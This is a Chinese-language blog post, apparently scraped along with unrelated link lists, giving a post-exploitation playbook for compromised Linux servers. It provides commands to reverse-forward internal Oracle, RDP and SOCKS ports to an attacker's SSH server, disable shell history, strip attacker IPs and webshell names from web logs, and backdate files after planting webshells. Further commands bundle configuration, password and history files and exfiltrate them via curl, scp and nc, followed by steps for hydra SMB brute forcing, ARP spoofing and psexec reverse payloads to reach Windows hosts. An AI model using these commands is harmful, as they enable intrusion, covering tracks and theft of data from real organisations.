利用ssh-keygen -t rsa可以生成ssh公钥和私钥,实现免输密码的ssh登陆
 
  ssh-keygen -l -f /etc/ssh_host_rsa_key
  ssh-keygen -lv -f ~/.ssh/known_hosts 

ssh各种姿势

反弹内网端口:

ssh有几个比较重要的参数:

-f: 连接成功后切换到后台,不会占用当前的shell,shell断了也会继续执行,相当于 nohup和&。
-N: 连接后不调用shell,用处后面讲。
-R:把本地网络(可以是本机或者任何内网甚至外网端口)端口反弹到ssh服务器
用法:

首先你要有个外网ip的ssh服务器,如果目标内网限制了访问端口,可以开到常见端口比如80或者443上面,可以直接改设置或者iptables映射一下。你需要有这个服务器的root权限。在sshd_config里面打开端口转发, AllowTcpForwarding yes 还有 Gateway Ports,如果之前没开的话改完需要重启一下sshd。

另外就是因为反弹端口需要让目标机器登录到你的ssh服务器,为了安全起见需要建立一个专门用来端口转发的用户,useradd随便建个用户,设置密码然后到/etc/passwd里面,把最后一个':'后面的shell位置改成/sbin/nologin或者/bin/false,这样即使对方记录了你的ssh密码也没法对你转发的服务器做什么(比如取证之类)

-N的作用:

因为转发用的用户没有shell,如果没有-N的话会因为得不到shell而自动断开连接,-N可以避免这一点。

开始转发:

ssh -fNR 要反弹到的端口:目标本机或者内外ip:要反弹的目标端口 转发专用用户名@你的ssh服务器ip 执行后会问你转发用户名的密码,输入成功后会自动切换到后台
例子1:

本地转发: 目标机器上有个oracle端口在1521,但是只能从内网访问。提权提不上,没装sqlplus等工具,webshell数据库管理各种出错,不过翻到了登录用户名和密码。不过我自己的机器上装了个navicat for oracle?? ssh服务器上的端口转发用户名叫forward,服务器ip是123.123.123.123

ssh -fNR 11521:127.0.0.1:1521 forward@123.123.123.123
注意:之所以开到11521端口是因为<1024的端口需要root权限才能占用,另外注意你反弹到服务器的端口不能被iptables之类的挡住,不然你没法从外网访问(废话么)

反弹成功后,打开navicat,新建个连接,ip输入123.123.123.123,端口输入11521,然后用户名和密码,啪啪啪??连上了

例子2:

内网ip转发: 除了能转发localhost,还能转发内网其他ip的端口,甚至在不同网段都行,只要能从内网的已沦陷机器访问到就行。比如内网有个windows服务器,ip 192.168.5.10, 开了3389端口,不过也只能在内网访问??

ssh -fNR 13389:192.168.5.10:3389 forward@123.123.123.123
反弹成功后mstsc连123.123.123.123:13389即可??

ssh转发端口是可以多开的,就是要注意转发到你服务器的端口不要重了。

用完之后记得关掉:

ps aux|grep ssh
在进程里可以看到ssh的转发命令,把pid kill了就行。另外也可以在ssh服务器端kill,

netstat -anp|grep sshd
ssh的时候会记录known_hosts,所以最后擦屁股的时候记得到开ssh的用户名的home文件夹 .ssh里面把known_hosts清掉

ssh反弹socks5方法

如果用ssh自带的socks5服务器的话,需要一个能在本地登录的帐号,可以是nologin的,但是必须要能登录,如果不是root的话,socks端口只能开到>1024的端口。原理是先在本地开socks5,然后把本地socks5服务器的端口弹到远程服务器。

姿势:

ssh -fND 127.0.0.1:8080 user@127.0.0.1
这样会在本地8080端口开socks5代理,然后反弹

ssh -fNR 18080:127.0.0.1:8080 forward@123.123.123.123
这样可以把socks5代理弹到123.123.123.123的18080端口,可以用proxychains和其他支持socks5代理的工具最大限度的窥探内网

Linux下隐藏痕迹

通过其他方式得到shell的话,需要去掉histfile等环境变量:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
登录ssh后管理员用w查看当前登录用户,所以有必要隐藏,推荐xi4oyu的logtamper

清除日志里指定内容:

日志必须是文本格式,而且你有权限读写??

awk '!/pattern/' filename > temp && mv temp filename
这个原理说白了就是去掉原文件里的指定内容然后生成新文件,再用新的覆盖旧的,弄完记得用chmod还原原来的属性. 例子:

awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
去掉所有包含123.123.123.123的日志记录。 可以匹配多个关键词:

awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
修改文件访问|创建|修改时间:

touch -amt 200901231532 文件名 
改成2009年1月23号15点32分

批量修改时间:

比如你在一个文件夹改了很多php插了一堆一句话:

ls|xargs touch -amt 200901231532 
把当前目录所有文件时间都改了

信息搜集:

find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@ 
打包各种脚本和配置文件还有history日志。 有的环境下zip需要一些参数才能用,请自行修改

在/var/www搜集全部 conf.php然后打包

find /var/www -name '*conf*.php' -print | zip config.zip -@
找包含特定内容的文件并且那一行显示出来:

grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR
比如在web目录找包含password这个词的所有php

grep -RPa --include=*.php 'password' /var/www 
pattern可以用正则,可以不指定文件类型(很慢??)

文件传送:

找到需要的东西后,怎么往外发也是个问题,一般大文件用ftp,scp,小文件用nc。

ftp方法:

如果目标装了curl的话就很简单了

curl -v -T 文件名 ftp://username:password@ftpip
scp方法:

适合有ids之类东西的地方,可以把sshd开到443等传统加密流量的接口,scp帐号需要有写入和执行shell的权限

scp backup.tgz user@123.123.123.123:/tmp/backup.tgz
nc方法:

先在服务端监听

nc -l port > 文件名
然后到要发送文件的服务器

nc 服务端ip 端口 < 文件名
发送小文件还行,大文件有时候会断。

从linux到windows

有些时候你拿了linux服务器的shell,想跨到windows的机器上,基本就是通过两个手段,一个是针对windows的服务进行exploit溢出,还有就是利用在linux上搜集的用户名和密码然后通过psexec放shell。

首先要确定windows主机的位置和打开的服务,在内网扫开445和3389的机器,基本是windows了,扫的时候要注意,不管用什么工具,尽量用socket connect的方式扫。像SYN 方式扫描如果内网有ids之类肯定会被发现,connect方式扫描相对来说和正常连接差不多。 扫到windows机器列表后,准备好刚才在linux下收集的各种用户名和密码,还有一些常见的弱密码,生成密码字典和用户名字典,字典里再加上一些windows本身的用户名,比如administrator。 尝试密码的话直接在linux下用hydra,破解smb密码,运气好的话,只要扫出一个,就能用psexec getshell了。运气不好就剩下溢出这一条路了。如果溢出都不行,windows主机和linux在同一个网段的话,还可以试试通过arp spoof抓smb认证包,然后把hash弄出来破解或者注入hash,但是动静会比较大,不到最后不建议使用。

psexec:

有几种选择,metasploit里面auxiliary里面的psexec模块,可以直接放个msf的reverse paylaod上去。另外可以把windows的服务器的445端口反弹出来,再找个windows的机器用psexec。还有就是直接在内网的linux机器上用python的psexec,https://code.google.com/p/impacket/

ssh各种姿势---ssh-keygen 生成ssh公钥和私钥的更多相关文章

  1. c#生成rsa公钥和私钥

    c#生成rsa公钥和私钥的类库,包括加密解密,可以用在网站和winform项目 源码地址: http://download.csdn.net/detail/jine515073/8383809

  2. Windows 下使用OpenSSL生成RSA公钥和私钥

    Windows 下使用OpenSSL生成RSA公钥和私钥 (1)下载OpenSSL 可到该地址下载OpenSSL: https://www.openssl.org/source/(https://ww ...

  3. windows环境下 生成git公钥和私钥

    windows环境下 生成公钥和私钥 上传代码到远程仓库的时候需要秘钥进行验证是否本人上传的.打开Git目录下的Git Bash 输入ssh-keygen,回车 可直接不输入路径,使用默认路径(c/U ...

  4. 如何使用openssl生成RSA公钥和私钥对

      在ubuntu上要使用openssl的话需要先进行安装,命令如下: sudo apt-get install openssl 安装完成就可以使用openssl了. 首先需要进入openssl的交互 ...

  5. 在Linux下如何使用openssl生成RSA公钥和私钥对

    在<Java实现RSA密钥对并在加解密.加签验签中应用的实例>中,我们有用Java代码生成RSA密钥对,其实在Linux操作系统中,用openssl也是很容易生成密钥对的. 一.如果在ub ...

  6. openssl生成RSA公钥和私钥对

    在ubuntu上要使用openssl的话需要先进行安装,命令如下: sudo apt-get install openssl 安装完成就可以使用openssl了. 首先需要进入openssl的交互界面 ...

  7. 使用openssl生成RSA公钥和私钥对

    在ubuntu上要使用openssl的话需要先进行安装,命令如下: sudo apt-get install openssl 安装完成就可以使用openssl了. 首先需要进入openssl的交互界面 ...

  8. 生成 RSA 公钥和私钥的方法

    在使用 RSA 加密算法时,需要使用到一对 公钥 和 私钥,生成 公钥 和 私钥 需要借助 openssl 这款工具,下载这款工具的地址如下: http://slproweb.com/products ...

  9. 生成RSA2公钥、私钥

    RSA2是一种被使用广泛的非对称加密算法. openssl OpenSSL> genrsa -out app_private_key.pem # 私钥RSA2 OpenSSL> rsa - ...

  10. php中用生成的公钥、私钥进行加密解密

    $private_key = '-----BEGIN RSA PRIVATE KEY-----MIICXQIBAAKBgQDpoODVtnSztGyb//p+g/Ob36jb3jzWzS2qovOjp ...

随机推荐

  1. OpenGL资料

    苹果官方文档:OpenGL ES for iOS苹果官方文档:OpenGL for OS X OpenGL是源自SGI IRIS GL library,并不是SUN开发的.SGI提供了一个OPENGL ...

  2. Ansible Playbook 使用条件判断语句

    先介绍一下 gather_facts 参数,该参数用于指定在执行任务前,是否先执行 setup 模块获取主机相关信息,以便给后面的任务使用 [root@localhost ~]# ansible 19 ...

  3. React Native(四)——顶部以及底部导航栏实现方式

    效果图: 一步一步慢慢来: 其实刚入手做app的时候,就应该做出简单的顶部以及底部导航栏.无奈又在忙其他事情,导致这些现在才整理出来. 1.顶部导航栏:react-native-scrollable- ...

  4. 关于MFLAGS与MAKEFLAGS

    与子make通讯的选项 诸如‘-s’和‘-k’标志通过变量MAKEFLAGS自动传递给子make.该变量由make自动建立,并包含make收到的标志字母.所以,如果您是用‘make –ks’变量MAK ...

  5. listView优化方案

    1.如果自定义适配器,那么在getView方法中要考虑方法传进来的参数contentView是否为null,如果为null就创建contentView并返回,如果不为null则直接使用.在这个方法中尽 ...

  6. 【python3】Mac下selenium3+chrome驱动+python3

    环境: python3.6.4  seleinum3.11 事先准备好python3  环境.安装谷歌浏览器 1 安装seleinum pip3 install selenium 2 安装chrome ...

  7. 今日Java——Cay Horstmann访谈

    这是本人在InfoQ中文站审校的文章,原文链接是:http://www.infoq.com/cn/articles/java_cay_horstmann,感觉内容很不错,分享给大家看看. 近日Info ...

  8. 【Spring源码深度解析学习系列】注册解析的BeanDefinition(五)

    对于配置文件,解析和装饰完成之后,对于得到的beanDefinition已经可以满足后续的使用要求了,还剩下注册,也就是processBeanDefinition函数中的BeanDefinitionR ...

  9. LeetCode——Nim Game

    Description: You are playing the following Nim Game with your friend: There is a heap of stones on t ...

  10. Tomorrow Is A New Day

    Sometimes we do not feel like we want to feel     Sometimes we do not achieve what we want to achiev ...